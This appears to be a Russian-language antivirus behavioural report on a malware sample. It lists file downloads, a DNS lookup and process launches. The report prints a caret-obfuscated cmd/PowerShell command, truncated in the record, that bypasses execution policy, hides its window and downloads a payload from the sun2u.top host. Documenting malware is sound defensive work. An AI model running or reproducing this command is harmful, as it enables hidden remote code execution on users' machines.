Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sun2u.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^WerSHE^L^L.ex^e ^-E^XE^cut^i^on^PoliCY B^yPAS^s^ -N^Op^rOfi^Le ^-^wi^N^dows^T^YL^e^ H^IDdeN^ (ne^w-OBje^C^T^ ^sYST^EM.^nE^t^.^WE^bClieNT^)^.d^o^w^nL^o^ad^fIle^('http://sun2u....
Сетевая активность
UDP
- DNS ASK su##u.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^WerSHE^L^L.ex^e ^-E^XE^cut^i^on^PoliCY B^yPAS^s^ -N^Op^rOfi^Le ^-^wi^N^dows^T^YL^e^ H^IDdeN^ (ne^w-OBje^C^T^ ^sYST^EM.^nE^t^.^WE^bClieNT^)^.d^o^w^nL^o^ad^fIle^('http://sun2u....' (со скрытым окном)
